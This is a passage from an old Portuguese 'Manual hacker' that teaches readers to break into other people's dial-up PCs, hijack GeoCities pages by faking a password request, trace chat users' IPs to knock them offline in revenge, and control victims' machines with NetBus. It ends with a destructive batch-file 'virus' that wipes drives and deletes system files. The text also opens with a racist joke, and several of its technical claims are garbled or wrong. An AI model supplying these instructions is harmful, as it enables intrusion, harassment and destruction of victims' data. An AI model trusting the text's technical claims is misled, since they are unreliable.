DEVIDO A UMA ENORME QUANTIDADE DE BUGS E UMA CAPACIDADE DE PROTEÇÃO QUE

PERMITE QUE QUALQUER PESSOA INVADA UM MICRO QUE UTILIZE A REDE DIAL UP, COM

UMA CONEXÃO PPP, O WINDOWS É UM DOS MAIORES MOTIVOS DE PIADAS ENTRE OS

PORTUGUESES, NEGROS E O RUBINHO BARRICHELO. MESMO QUE VOCÊ NÃO ESTEJA

UTILIZANDO O COMPARTILHAMENTO DE ARQUIVOS, QUALQUER PESSOA PODE INVADIR

SEU COMPUTADOR SE VOCÊ ESTIVER FAZENDO ESTE TIPO DE CONEXÃO.

PARA ESTA "RECEITA DE BOLO" FUNCIONAR, VOCÊ TEM QUE ESTAR USANDO A REDE DIAL

UP E UMA CONEXÃO PPP. ANTES DE TUDO VERIFIQUE SE VOCÊ POSSUI OS DRIVERS

CLIENTES DA MICROSOFT. CASO NÃO ESTEJA, INSTALE-OS ATRAVÉS DO PAINEL DE

CONTROLE NO ÍCONE REDE. VERIFIQUE TAMBÉM, SE O COMPARTILHAMENTO DE

ARQUIVOS E IMPRESSORAS ESTÁ INSTALADO.

CONFIGURAR ESTAS OPÇÕES É SIMPLES. VÁ AO PAINEL DE CONTROLE E ABRA REDE.

VERIFIQUE AS PROPRIEDADES DO TCP/IP. ALPI VOCÊ ENCONTRARÁ A OPÇÃO PARA ATIVAR

A RESOLUÇÃO WINS. NO CASO DE VOCÊ NÃO CONHECER NENHUM SERVIDOR WINS,

204.118.34.6 COMO PRIMÁRIO E 204.118.34.11 COMO SECUNDÁRIO. ESSES SERVIDORES

SÃO SO USA E GRATUÍTOS. CASO QUEIRA OUTROS ENDEREÇOS, UTILIZE UM DOS

MECANISMOS DE BUSCA DA INTERNET. PARA CONFIGURAR O LMHOSTS VOCÊ PRECISA

CRIAR UM ARQUIVO TEXTO SIMPLES, COM O NOME DE LMHOSTS. NESSE ARQUIVO É ONDE

FICARÃO OS ENDEREÇOS DE IP E OS NOMES DOS COMPTADORES ACESSADOS. PARA

LOCALIZAR DETERMINADO COMPUTADOR VOCÊ DIGITA O SEU NÚMERO DE IP E A SEGUIR

SEU NETBIOS, NA MESMA LINHA, ESPARADO POR UM ESPAÇO. SE VOCÊ EXECUTAR O

PROGRAMA NBTSTAT –N, TERÁ A LISTA, COM O NOME E O IP DE SEU COMPUTADOR,

SEMPRE SENDO O PRIMEIRO DA LISTA, SEGUIDO DAS OUTRAS MÁQUINAS

DISPONÍVEIS,TUDO NUMA JANELA DO DOS. ATRAVÉS DO EXPLORER VOCÊ PODERÁ VER OS

12

Page 13: Manual hacker

COMPUTADORES DISPONÍVEIS NA REDE DOS QUAIS VOCÊ AINDA PODERÁ UTILIZAR OS

DISCOS MAPEANDO-OS, O QUE OS TORNARÁ UNIDADES DE SEU COMPUTADOR.

COMO HACKEAR UMA PÁGINA DA GEOCITES?

É A COISA MAIS FÁCIL DO MUNDO...

ENTREI NA PÁGINA DE VÁRIAS PESSOAS E PENSEI PORQUE ATÉ HOJE NÃO OUVI FALAR DE

NINGUÉM QUE TENHA HACKEADO UMA PÁGINA DA GEOCITES. VAMOS DIRETO AO

ASSUNTO:

ANOTE O MEMBER NAME DA PÁGINA DANDO UM SOUCE.

ANOTE O LUGAR QUE ESTA PÁGINA ESTÁ, POR EXEMPLO:

http://www.geocites.com/AUGUSTA/2000. LOGICAMENTE VOCÊ SÓ VAI ANOTAR O

DIRETÓRIO E O BLOCK.

AGORA VÁ ATÉ A PÁGINA PRINCIPAL DA GEOCITES E CLIQUE NO LINK CONTACT GEOCITES,

DEPOIS CLIQUE EM SYSTEM PROBLEMS, E DEPOIS EM SYSTEM PROBLEMS REPORTING

FORM. LÁ VOCÊ VAI COLOCAR AS INFORMAÇÕES NECESSÁRIAS, O DIRETÓRIO, ACIMA

CITADO, O BLOCK (ACONSELHO FAZER FOWARD) E NO ESPAÇO ABAIXO VOCÊ VAI COLOCAR

OPROBLEMA. DIGA QUE AINDA NÃO RECEBEU SUA SENHA, EM INGLÊS: "EXCUSE ME FOR

THE UP SET, BUT I DIDN’T RECEIVE MY SIGNAL".

PORRA! COMO É RIDÍCULO NÉ? AGORA É SÓ ESPERAR 3 OU 4 DIAS NO MÁXIMO QUE VOCÊ

RECEBE SUA SENHA!

ASTREANDO IP PELO MS-DOS

TODO MUNDO TEM O MS-DOS INSTALADO EM SEU COMPUTADOR, POR ISSO, QUASE

NINGUÉM SABE QUE TEM UM POTENTE RASTREADOR E IP EM SUA MÁQUINA.

MAS ANTES DE TUDO, O QUE É UM ENDEREÇO IP?

ENDEREÇO IP É UM NÚMERO QUE VOCÊ RECEBE QUANDO SE CONECTA A UM SERVIDOR.

UM EXEMPLODE SERVIDOR DE IP É 200.200.200.200. OS TRÊS PRIMEIROS NÚMEROS

REPRESENTAM O DNS DE SEU SERVIDOR, E O ÚLTIMO NÚMERO QUE VARIA. NO BRASIL,

13

Page 14: Manual hacker

TODOS OS IP’S COMEÇAM COM 200.

PARA RASTREAR, VOCÊ DEVE USAR UM PROGRAMA CHAMADO ARP, PRESENTE NO DOS. O

COMANDO QUE DEVE SER DIGITADO É ARP -A. VOCÊ TERÁ UMA LISTA DE ENDEREÇOS DE IP.

MAS COMO SABER QUAL É O DA PESSOA?? VOCÊ DEVE TER CERTEZA QUE A ÚLTIMA

INFORMAÇÃO QUE CHEGOU NO SEU MODEM VEIO DA PESSOA QUE VOCÊ QUER SABER O

IP. E DAÍ ENTRAR COM O COMANDO NO MS-DOS. O IP DA PESSOA SERÁ O PRIMEIRO.

TAMBÉM EXESTEM OUTROS PROGRAMAS COMO O NETSTAT. COM ELE VOCÊ PODE

RASTREAR QUAL É O SERVODOR DA PESSOA E OUTROS. MAS ESSE PROGRAMA É

COMPLICADO E VOCÊ QUER SABER COMO USÁ-LO DIGITE NETSTAT –H, E A TELA DE AJUDA

APARECE. O QUE FAZER COM O ENDERÇO DE IP? VOC~E PODE NUKAR A PESSOA. O NUKE É

IUM PROGRAMA QUE ENVIA UMA MENSAGEM DE ERRO PELA PORTA 139, FAZENDO A

CONEXÃO DA VÍTIMA CAIR. VOCÊ TAMBÉM PODE INVADIR O COMPUTADOR DA VÍTIMA

USANDO O BACK ORIFICE OU OUTRO PROGRAMA.

MANUAL DO NETBUS

HOST NAME/IP- COLOQUE O IP DA VÍTIMA.

PORT- COLOQUE 12345 CASO JÁ NÃO HAJA UMA SELECIONADA.

IN INTERVAL, FUNCTION DELAY, MEMO E ABOUT- DEIXE COMO ESTÁ.

ADD IP- CASO O IP SEJA FIXO, ADICIONE ELE EM UMA LISTA.

DEL IP- DELETE O IP ADICIONADO ANTERIORMENTE.

CONNECT- ESTE É O BÁSICO, APÓS TER COLOCADO O IP DA COBAIA, SE CONECTE.

SCAN- SCANEIA IP COM O PATCHE.

SERVER ADMIN- MUDA AS CONFIGURAÇÕES DO NET BUS DA COBAIA. POSSUI ATÉ A OPÇÃO

REMOVE A SERVER, OU SEJA, REMOVE O PATCHE DO MICRO DELA.

OPEN CD ROOM- ABRE E FECHA O CD ROOM DA VÍTIMA CONFORME VOCÊ CLIQUE.

SHOW IMAGE- VOCÊ DIGITA A URL DE UMA FOTO E ELA IRÁ APARECER NO MICRO DA

COBAIA.

SWAP MOUSE- FAZ COM QUE OS BOTÕES DO MOUSE SE TROQUEM.

START PROGRAM- EXECUTA UM PROGRAMA NO MICRO DA COBAIA.

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Page 15: Manual hacker

MSG MANAGER- POSSIBILITA A VOCÊ MANDAR MENSAGENS DE ERRO, EDITADAS POR

VOCÊ. VOCÊ PODE DEIXAR QUE ELA RESPONDA, OU NÃO...

SCREENDUMP- DARÁ UM PRINT SCREEEM, NA TELA DA COBAIA, SALVANDO A IMAGEM DA

COBAIA NO SEU NETBUS.

GET INFO- DARÁ INFORMAÇÕES DA PESSOA, POR QUAL ARQUIVO ELA ESTÁ INFECTADA,

ETC.

PORT REDIRECT- MUDA A PORTA PELA QUAL VOCÊ UTILIZA PARA CONECTAR, MUITO

COMPLEXO, POIS EXEISTEM POUCAS, MELHOR DEIXAR COMO ESTÁ.

PLAY SOUND- TOCARÁ UM SOM, QUE ESTÁ PRESENTE NO MICRO DA COBAIA. COLOQUE A

LINHA DE COMANDO.

EXIT WINDOWS- RESETAR A COBAIA, DESLIGAR DIRETO, VOCÊ ESCOLHE.

SEND TEXT- SERVE PARA FALAR COM OUTROS INVASORES, CASO HAJA ALGUM.

ACTIVE WNDS- VER AS JANELAS QUE ESTÃO ATIVAS NO PC DA VÍTIMA. VOCÊ PODE ATIVAR,

FECHAR OU ABRIR QUALQUER JANELA.

APP REDIRECT- BESTEIRA

MOUSE POS- VOCÊ ESCOLHE UMA POSIÇÃO PARA O MOUSE DELA FICAR. A COBAIA VAI

FICAR LOUCA...

LISTEN- ESTA É UMA DAS MELHORES!! VOCÊ PODE VER O QUE A PESSOA ESCREVE E

ESCREVER PARA ELA (HE, HE!). APROVEITE QUANDO A VÍTIMA ESTIVER FALANDO EM CANAL

ABERTO, PARA QUEIMAR O FILME DELA COM FRASES CABULOSAS.

SOUND SYSTEM- SERVE PARA CONTROLAR O SISTEMA DE SOM DA VÍTIMA. AUMENTE NO

MÁXIMO E EXECUTE UMA FILE WAVE!

SERVER SETUP- MUDA AS CONFIGURAÇÕES DO NET BUS DA PESSOA.

CONTROL MOUSE- VOCÊ CONTROLA O MOUSE DA VÍTIMA.

GO TO URL- COLOQUE UMA HOME PAGE QUE VOCÊ PREFERIR, OU ODIAR, PARA A COBAIA

IR.

KEY MANAGER- ESTA TAMBÉM É MUITO MASSA! VOCÊ PODE DESATIVAR TECLAS DO

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Page 16: Manual hacker

TECLADO DA PESSOA. É MELHOR DESATIVAR ALGUMAS TECLAS, PRINCIPALMENTE AS

VOGAIS.

FILE MANAGER- ESSA MATA A PAU!!!VOCÊ TERÁ ACESSO AO HD DA PESSOA E SUAS

PARTIÇÕES! TUDO, TUDO SEU!!!!!! PODENDO FAZER DOWNLOAD, UPLOAD, O QUE QUISER!

MAS LEMBRE-SE: ENTRE, OLHE, BRINQUE, MAIS JAMAIS APAGUE!

O NUKE

HÁ MUITA CONFUSÃO NO AR A RESPEITO DO NUKE, PRINCIPALMENTE DEPOIS DO

SURGIMENTO DO WINNUKE. SURGIRAM PROTEÇÕES E DETETORES, E MUITA GENTE SE

ESPANTA SOBRE O MOTIVO DE ELAS FUNCIONAREM EM ALGUNS CASOS E EM OUTROS

NÃO. INFELIZMENTE, ESSA CONFUSÃO TEM ORIGEM MUITO SIMPLES: WINNUKE NÃO É

NUKE! VAMOS ANALIZAR CADA UMA DAS DUAS TECNOLOGIAS COM PROFUNDIDADE

SUFICIENTE PARA DESFAZER ESTE EQUÍVOCO. INICIALMENTE, APRESENTAREMOS UM TEXTO

DE AUTORIA R.

O QUE É NUKE?

NUKE ÉO NEME ATRBUIDO A PROGRAMAS QUE FINALIZAM PREMATURAMENTE COM UMA

CONEXÃO TCP ATRAVÉS DO ENVIO DE ICMP COM MENSAGENS DE ERRO. TAIS PACOTES

PODEM SER DIRECIONADAS PARA O SERVIDOR, OU PARA O CLIENTE.

TAIS PROGRAMAS TEM A FINALIDADE DE TERMINAR COM A CONEXÃO FAZENDO COM QUE

O CLIENTE OU O SERVIDOR SEJAM ENGANADOS POR UMA MENSAGEM DE ERRO QUE

NORMALMENTE INDICARIAM UM PROBLEMA DE CONEXÃO ENTRE OS DOIS. O EFEITO DE

TAL PROGRAMA PARA A VÍTIMA É A DESCINEXÃO DO SEU SERVIDOR, GERALMENTE SEM

EFEITOS COLATERAIS. NUN EXEMPLO PRÁTICO SERIA COMO SE VOCÊ FOSSE

DESCONECTADO DO SERVIDOR DE IRC.

HISTÓRICO

ACREDIT QUE O PRIMEIRO PROGRAMA NUKE FOI O NUKE.C, PARA UNIX. SEU AUTOR SE

CHAMAVA SATANIC MECHANIC. ESTE PROGRAMA ENVIAVA PACOTES ICMP COM

MENSAGENS DE ERRO NA PORTA 23 DOSERVIDOR, FINALIZANDO ASSIM COM CONEXÕES

TELNET. COM A CRIAÇÃO DE FIREWALLS, NUKES DIRECIONADOS AO SERVIDOR PASSARAM A

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Page 17: Manual hacker

NÃO SER MAIS EFICIENTES. PASSOU-SE ENTÃO A NUKAR O HOST DO CLIENTE, NO ENTANTO,

O FATO DO CLIENTE NÃO POSSUIR UMA PORTA FIXA PARA FIXA PARA ESTABELECER

CONEXÃO COM O SERVIDOR DIFICULTA A OPERAÇÃO. A SOLUÇÃO PARA ISSO FOI O

DEESENVOLOVIMENTO DE PROGRAMAS QUE VARREM SEQUENCIALMENTE TODAS AS

PORTAS DO CLIENTE AONDE PODE EXIXTIR UMA CONEXÃO (DE 1024 A 65535),

BOMBARDEANDO ELAS COM MENSAGENS DE ERRO ATÉ QUE SE ENCONTRE A PORTA ONDE

SE DEU A CONEXÃO COM O SERVIDOR.

O NÚMERO DE PROGRAMAS NUKING PARA UNIX SUPERA EM MUITO OS EQUIVALENTES

PARA WINDOWS, ALÉM DE GERALMENTE SEREM MUITO MAIS EFICIENTES DEVIDO AS

LIMITAÇÕES DO WINSOCK. ALGUNS PROGRAMAS DE NUKING DESENVOLVIDOS PARA O

WINSOCK 2.2 JÁ ESTÃO SENDO LANÇADOS, ESTES SIM MUITO MAIS PODEROSOS DO QUE

OS SEUS ANTECESSORES PARA A PLATAFORMA MICROSOFT. ENTRE ESSES POSSO CITAR O

CLICK4 QUE REALMENTE É MUITO MAIS PODEROSO.

UM DOS PRIMEIROS PROGRAMAS NUKE PARA A PLATAFORMAWINDOWS, FOI O WNUKE. É

UM APLICATIVO EM 16 BITS QUE UTILIZA OS RECURSOS DO TRUMPET WINSOCK PARA

ENVIAR OS PACOTES. FORAM LANÇADAS DIVERSAS VERSÕES DESTE PROGRAMA, CADA

UMA IMPLEMENTANDO MAIS RECURSOS COMO CONTROLE DO TIPO DE MENSAGEM ICMP

ENVIADA E DELAY ENTRE O ENVIO DOS PACOTES, DE FORMA QUE O PROGRAMA PODERIA

SER UTILIZADO POR PESSOAS QUE NÃO DISPÕE DE UMA CONEXÃO DE ALTA VELOCIDADE

COM A INTERNET.

COMO EU UTILIZO O NUKE?

BASICAMENTE TODOS OS PROGRAMAS DE NUKE UTILIZAM O MESMO PRINCÍPIO:

DEFINIR O ALVO DOS PACOTES;

DEFINIR O HOST DO CLIENTE;

DEFINIR O HOST DO SERVIDOR;

DEFINIR AS PORTAS A SEREM NUKADAS NO CLIENTE;

DEFINIR AS PRTAS A SEREM NUKADAS NO SERVIDOR;

DEFINIR O INTERVALO ENTRE OS PACOTES ENVIADOS;

UMA VEZ DETERMINADOS ESSES PARÂMETROS O PROGRAMA INICIA O ENVIO DE PACOTES

DE ERRO. QUANTO MAIS RÁPIDA FOR A SUA CONEXÃO COM A INTERNET, MAIS RÁPIDO

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Page 18: Manual hacker

SERÁ O ENVIO DOS PACOTES, E MAIS RÁPIDO A VÍTIMA SERÁ ATINGIDA. NO LUGAR DA

PORTA DO SERVIDOR, O MAIS ÓBVIO É COMEÇAR A VARREDURA A PARTIR DA PORTA 6667,

QUE É A PORTA DEFALT PARA A MAIORIA DOS SERVIDORES DE IRC.

O TIPO DE MENSAGEM DE ERRO ENVIADA PODE SER DETERMINADA PREFERENCIALMENTE

PELO TIPO DE ALVO. SE O ALVO FOR UMA MÁQUINA UNIX, MENSAGENS DE HOST

UNREACHABLE DEMONSTRAM MAIOR EFICIÊNCIA. NO CASO DE MÁQUINA WINDOWS,

"PROTOCOL UNREACHEBLE" DEMONSTROU SE MAIS EFICIENTE.

OOB: O BUG DA PORTA 139

DIVERSOS PROGRAMAS UTILIZAM ESSE BUG PARA TRAVAR SISTEMAS WINDOWS, GERANDO

DoS ATRAVÉS DO ENVIO DE UM PACOTE OOB (OUT FO BAND) MARCADO COMO URGENTE

PARA AS PORTAS ESPECÍFICAS, COMO POR EXEMPLO A PORTA 139. SISTEMAS WINDOWS

NT SEM O HOTFIX.

OOBFIX INSTALADO AINDA NÃO AFETADOS EM DUAS OUTRAS PORTAS. APESAR DE SEREM

CHAMADOS DE NUKE, NA VERDADE ESSES PREGRAMAS TEM FUNCIONAMENTO

TOTALMENTE DIFERENTE, ELES APENAS SE APROVEITAM DE UMA FALHA DO SISTEMA.

CONFORME DESCRITO EM SEÇÕES ANTERIORES, O FUNCIONAMENTO DE PROGRAMAS

NULE É DIFERENTE. OS EFEITOS DE UM PROGRAMA DE OOB SÃO FACILMENTE

PERCEPTÍVEIS. TODO O SISTEMA DE REDE DO WINDOWS ENTRA EM PÂNICO E

GERALMENTE É NECESSÁRIA A REINICIALIZAÇÃO DO SISTEMA PARA QUE A SITUAÇÃO SEJA

NORMALIZADA. FELIZMENTE JÁ EXISTEM DIVERSOS PATCHES DISPONÍVEIS PARA RESOLVER

ESTE PROBLEMA.

PINGA BOOM

INICIALMENTE VALE EXPLICAR QUE NÃO ESTAMOS FALANDE DE CTCP PING, E SIM DO

PROGRAMA PING QUE VERIFICA SE UM ENDEREÇO DE IP EXISTE E ESTÁ ACESSÍVEL. O MAU

USO INTENCIONADO DESTE PROGRAMA, A PARTIR DE UMA CONEXÃO RÁPIDA COM A REDE

FAZ COM QUE A VÍTIMA CAIA NUM LAG QUE PROVAVELMENTE O LEVARÁ A DESCONEXÃO

POR PING TIMEOUT, DEVIDO A QUANTIDADE DE PACOTES RECEBIDOS SUPERAR EM MUITO

18

Page 19: Manual hacker

A CAPACIDADE DE ESSES MESMOS SEREM DESENVOLVIDOS.

WINNUKE

UM BUG DO SUBSISTEMA DE REDE DO UNIX 3.X,M 95 E NT PERMITE QUE USUÁRIOS

EXTERNOS POSSAM DESATIVAR TOTALMENTE O SEU ACESSO À REDE, SIMPLESMENTE

ENVIANDO INFORMAÇÕES MARCADAS COMO URGENTES A DETERMINADAS PORTAS DO

SEU COMPUTADOR (SENDO QUE A MAIS USUAL É A 139). ESSE ATAQUE DE DoS DESABILTA

TOTAÇMENTE A COMUNICAÇÃO TCP/IP DA SUA MÁQUINA RETORNANDO AO NORMAL

APENAS APÓS O REBOOT DA SUA MÁQUINA. EXISTEM PROTEÇÕES DISPONÍVEIS QUE

SIMPLESMENTE FECHAM A PORTA 139. ISSO NÃO É EFICENTE, POIS O ATAQUE OOB PODE

SER EXECUTADO EM OUTRAS PORTAS MENOS USUAIS TAMBÉM. DA MESMA FORMA, OS

DETETORES DE QUE SE DESTINAM A IDENTIFICAR A ORIGEM DOS ATAQUES DE OOB

TAMBÉM NÃO TEM EFICIÊNCIA MÁXIMA PORQUE LIMITAM-SE A OUVIR A PORTA 139.

ALÉM DISSO, ELES NÃO DEVERIAM CHAMAR-SE DETECTORES DE NUKE, UMA VEZ QUE O

ATAQUE QUE ELES DETECTAM NÃO CONSTITUI UM NUKE CANÔNICO, MAS APENAS UM

EXPLOIT DE UM BUG DO MICROSOFT WINSOCK.

PEGANDO O IP DE ALGUÉM EM UMA SALA DE CHAT

JÁ DEVE TER ACONTECIDO COM VOCÊ DE ESTAR EM UM CHAT DE WWW E ALGUÉM TE

XINGAR. XINGAR NÃO RESOLVE, APENAS MANTÉM A BRIGA. MAS QUE TAL SE VINGAR COM

UM POUCO MAIS DE CLASSE? SERIA UMA BOA HEIN? QUE TAL NUKAR O OTÁRIO OU

ENTRAR EM NO SERVER DE IP DELE, PEGAR UM A SENHA E AMEAÇÁ-LO? ISSO SIM QUE É

ESTILO! COM UM RASTREADOR DE IP E ALGUNS PROGRAMINHAS VOCÊ PODERÁ FODER

LEGAL.

PEGAR O IP DE ALGUÉM EM UMA SALA QUE NÃO ACEITE TAGS HTML É MAIS FÁCIL DO QUE

PEGAR IP EM SALA QUE ACEITE TAGS DE HTML. O TRUQUE É SIMPLES: VÁ AO PROMPT DO

MS DOS E DIGITE ARP –A. COM ISSO IRÁ APARECER UM MONTE DE IP’S. O PRIMEIRO IP É O

SEU EO ÚLTIMO DA PESSOA QUE TE MANDOU A ÚLTIMA MENSAGEM. VAMOS SUPOR QUE

O RICK TE MANDOU UMA MENSAGEM. DAÍ VOCÊ RESOLVE PEGAR O IP DELE, E VAI AO E

DIGITA ARP –A. O ÚLTIMO IP DA LISTA É O IP DO RICK. PRONTO, AGORA VOCÊ JÁ TEM O IP

PROMPT DO MSDOS DO CARA. É SÓ PEGAR UM PROGRAMA NUKE E DERRUBAR O OTÁRIO.

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Page 20: Manual hacker

OS VÍRUS

OS VÍRUS PODEM SER CCATALOGADOS EM TRÊS CATEGORIAS BÁSICAS:

VÍRUS DE BOOT: OS VÍRUS DE BOOT SÃO TRANSMITIDOS BASICAMENTE POR DISQUETES,

COPIANDO-SE PARA O SERTOR BOOT (O GRUPO DE INSTRUÇÕES QUE O COMPUTADOR LÊ

QUANDO É LIGADO). JÁ TIVERAM O SEU ALGE DA FAMA, MAS HOJE ESTÃO CADA VEZ MAIS

RAROS.

VÍRUS EXECUTÁVEIS: TAMBÉM CONHECIDOS COMO VÍRUS DE ARQUIVOS ESTES

PROGRAMAS SE ANEXAM AO CÓDIGO EXECUTÁVEL DE OUTROS PROGRAMAS,

PRINCIPALMENTE OS QUE TEM A TERMINAÇÃO .EXE OU .COM. QUANDO UM PROGRAMA

INFECTADO É EXECUTADO, O VÍRUS VAI PARA A MEMÓRIA DO COMPUTADOR E LÁ INFECTA

OUTROS PROGRAMAS, EXECUTADOS POSTERIORMENTE.

VÍRUS DE MACRO: ESTES VÍRUS ATACAM ARQUIVOS DE GABARITOS (TEMPLATES) DO

MICROSOFT OFFICE, PRINCIPALMENTE OS ARQUIVOS NORMAL .DOT. A PARTIR DESTA

CONTAMINAÇÃO. TODO O DOCUMENTO CRIADO POSSUIRÁ VÍRUS DENTRO DELE, E ESTE É

UMA RAZÃO PELA QUAL ESSA CATEGORIA DE VÍRUS PE A MAIS DIFUNDIDA ATUALMENTE. A

OUTRA É A RAZÃO DE SER MUITO FÁCIL PROGRAMAR EM VBA DO QUE LINGUAGEM COMO

ASSEMBLER OU C++ UTILIZADA PELOS PROGRAMADORES DE VÍRUS EXECUTÁVEIS.

UMA BOA ESTRATÉGIA DE SEGURANÇA É MANTER A OPÇÃO DE PROTEÇÃO CONTRA VÍRUS

HABILITADA NO WORD. ESTA OPÇÃO ESTÁ ABILITADA NO MENU

FERRAMENTAS/OPÇÕES/GERAL/ATIVAR PROTEÇÃO CONRA VÍRUS DE MACRO. ASSIM,

SEMPRE QUE ALGUM ARQUIVO COM MACROS FOR ABERTO, EXISTIRÁ UMA OPÇÃO DE

DESABILIITAR O SEU CARREGAMENTO.

FAZER VÍRUS

AGORA VOCÊ APRENDERÁ COMO FAZER ALGUNS TIPOS DE VÍRUS "SIMPLES". VÍRUS MAIS

COMPLEXOS, EXIGEM CONHECIMENTOS DE PROGRAMAÇÃO. EM PRIMEIRO LUGAR VOCÊ

DEVE LOCALIZAR O ARQUIVO EDIT.COM NA PASTA C:WINDOWSCOMMAND. COM O

ARQUIVO ENCONTRADO, COPIE –O PARA UM DISQUETE E ABRA-O. IRÁ APARECER UMA

TELA AZUL. É UM EDITOR COM POUCOS RECURSOS. ENTÃO DIGITE:

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Page 21: Manual hacker

@ECHO OFF

BREAK OFF

DEPOIS DISSO, VOCÊ ESCOLHE O TIPO DE VÍRUS QUE QUER FAZER.

VAMOS SUPOR QUE O VÍRUS IRÁ APAGAR TODOS OS ARQUIVOS DO PC ALHEIO. VOCÊ DEVE

USAR OS SEGUINTES COMANDOS:

DELTREE/Y C:*.*

CASO QUEIRA QUE APAGUE OS ARQUIVOS DE SISTEMA, USE OS SEGUINTES COMANDOS:

DEL C:AUTOEXEC.BAT

DEL C:COMMAND.COM

DEL C:CONFIG.SYS

É UMA QUESTÃO DE LÓGICA. USE A LÓGICA PARA CRIAR OS SEUS VÍRUS E PARA QUE ELES

FAÇAM O QUE VOCÊ QUEIRA. DEPOIS USE O COMANDO COPY (NOME DO VÍRUS).BAT

AUTOEXEC.BAT, ELA ENTÃO TERÁ A CERTEZA DE ESTAR EXECUTANDO O SEU VÍRUS AO

INICIAR O COMPUTADOR ALVO.

DEPOIS DE TUDO, SALVE O VPIRUS COM A EXTENSÃO .BAT, DE FORMA QUE FIQUE:

OQUEQUISER.BAT. AGORA O SEU VÍRUS ESTÁ PRONTO, BASTA SER EXECUTADO E O VÍRUS

IRÁ TOMAR AS PROVIDÊNCIAS NECESSÁRIAS.

IMPORTANTE: CASO FOR PASSAR ESSE VÍRUS VIA DISQUETE, VOCÊ NÃO DEVE ESQUECER DE

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Page 22: Manual hacker

FINALIZAR O ARQUIVO COM O COMANDO DELTREE/Y A:*.*. ISSO SERVE PARA NÃO DEIXAR

VESTÍGIO DO SEU ATO INSANO.

TELNET

É O PROTOCOLO INTERNET PARA ESTABELECER CONEXÃO ENTRE COMPUTADORES.

ATRAVÉS DESSA CONEXÃO REMOTA, PODE-SE EXECUTAR PROGRAMAS E COMANDOS EM

OUTRA MÁQUINA, COMO SE O TECLADO DE SEU COMPUTADOR ESTIVESSE LIGADO

DIRETAMENTE A ELA. O VISUAL DE UMA CONEXÃO VIA TELNET É SEMELHANTE AO QUE SE

TEM EM BBS’S DE INTERFACE DOS. E A OPERAÇÃO DO COMPUTADOR REMOTO SE DÁ DA

MESMA FORMA, OU SEJA, ATRAVÉS DE UMA LINHA DE COMANDOS UNIX OU A PARTIR DE

UM MENU DE COMANDOS DISPONÍVEIS QUE SEMPRE SE APRESENTA EM ALGUM LUGAR DA

TELA (ESTA ÚLTIMA É A MAIS COMUM ESTRE SERVIDORES QUE PERMITEM ACESSO AO

PÚBLICO). O TELNET PODE SER USADO PARA A PESQUISA DE INFORMAÇÕES E

TRANFERÊNCIA DE ARQUIVOS – TUDO DEPENDE DO QUE O COMPUTADOR VOCÊ ESTÁ

CONECTADO PERMITIR QUE VOCÊ FAÇA. ELE TAMBÉM É MUITO USADO POR OPERADORES

DE SISTEMAS (SYSOPS) A FIM DE FAZER ALGUM TIPO DE MANUTENÇÃO (SE VOCÊ PENSA

QUE O SYSOP DE SEU PROVEDOR SAI DE CASA TODA VEZ QUE TEM ALGUM PROBLEMA NOS

SERVIDORES, ESTÁ MUITO ENGANADO. MUITAS VEZES ELE FAZ A MANUTENÇÃO DE CASA

MESMO, VIA TELNET.

PARA FAZER UMA CONEXÃO VIA TELNET É NECESSÁRIO UM PROGRAMA ESPECÍFICO. O

WINDOWS 95 JÁ VEM COM UM.

CONECTANDO-SE VIA TELNET: INICIE O TELNET QUE FICA NA PASTA WINDOWS, CLIQUE EM

CONECTA, SISTEMA REMOTO E DIGITE NA CAIXA NOME DO HOST O ENDEREÇO AO QUAL

DESEJA CONECTAR-SE. NAS CAIXAS "PORTA" E "TIPO DO TERMINAL" SELECIONE TELNET

VT100. FEITO ISSO, CLIQUE NO BOTÃO CONECT. ISSO INICIARÁ A CONEXÃO COM O

COMPUTADOR REMOTO. FREQUENTEMENTE, AO FINALIZAR A CONEXÃO, O SISTEMA

REMOTO PEDE UMA SENHA. DIGITE "GUEST" E APERTE ENTER. ISTO ABRIRÁ AS PORTAS DO

COMPUTADOR REMOTO PARA VOCÊ. NA TELA SURGE UMA SÉRIE DE OPÇÕES, PRECEDIDAS

DE UM NÚMERO OU LETRA. PARA EXECUTAR ALGUNS DESTES COMANDOS, DIGITE ALGUM

DESSES NÚMEROS OU LETRAS E APERTE ENTER. EXPLORE O SISTEMA AO QUAL VOÊ

CONECTOU PARA EXERCITAR.

COMANDOS BÁSICOS DE UNIX: A MAIORIA DOS SERVIDORES NÃO PERMITE ACESSO AO

PÚBLICO VIA TELNET, PORQUE ESSA É A PRINCIPAL PORTA DE ENTRADA PARA HACKERS.

NESTES SERVIDORES NÃO SE ENCONTRAM MENUS QUE FACILITAM A NAVEGAÇÃO PELO

SITE OU MENUS DE QUALQUER TIPO, O QUE LEVA A NECESSIDADE DE CONHCER ALGUNS

22

Page 23: Manual hacker

COMANDOS BÁSICOS DE UNIX. SE VOCÊ É WEBMASTER, MUITAS VEZES VAI TER ACESSSO A

PROVEDORES DE PRESENÇA, DE FTP E EM ALGUNS CASOS TELNET, PARA EFETUAR

ALGUMAS OPERAÇÕES QUE O FTP NÃO PERMITE. SEGUE ABAIXO UMA LISTA QUE LHE

SERÃO MUUITO ÚTEIS NESTE CASO:

LS –L: LISTA OS ARQUIVOS DE UM DIRETÓRIO

LS –AL: LISTA TODOS OS ARQUIVOS DE UM DIRETÓRIO, INCLUSIVE OS HIDDEN

CP X Y: COPIA UM ARQUIVO DO DIRETÓRIO X PARA O DIRETÓRIO Y

MV XY: MOVE O ARQUIVO DO DIRETÓRIO X PARA O DIRETÓRIOY

RM X: DELETA O ARQUIVO X

CD XXX: MUDA O DIRETÓRIO ATIVO PARA XXX

CD..: SAI DE UM DIRETÓRIO

MKDIR XXX: CRIA O DIRETÓRIO XXX DENTRI DO DIRETÓRIO ATUAL

RM XXX: REMOVE O DIREÓRIO XXX

OS PROTOCOLOS TCP/IP

PARA ENTENDER COMO ATAQUES FUNCIONAM, É NECESSÁRIO TER UMA PEQUENA NOÇÃO

DE COMO TRABALHA A INTERNET, OU PELO MENOS COMO FUNCIONA A SUA BASE DE

PROTOCOLOS DE COMUNICAÇÃO. ESTA FAMÍLIA DE PROTOCOLOS É CHAMADA TCP/IP.

COMO SABEMOS, CADA COMPUTADOR LIGADO À INTERNET É IDENTIFICADO POR UM

NÚMERO DE IP. A MAIORIA DAS PESSOAS CONECTADAS NÃO TEM UM NÚMERO DE IP FIXO,

CADA VEZ QUE SE CONECTAM AO PROVEDOR RECEBEM UM NOVO NÚMERO DE IP. APESAR

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Page 24: Manual hacker

DE UM IP SER UTILIZADO PARA IDENTIFICAR UMA MÁQUINA DENTRE MILHÕES

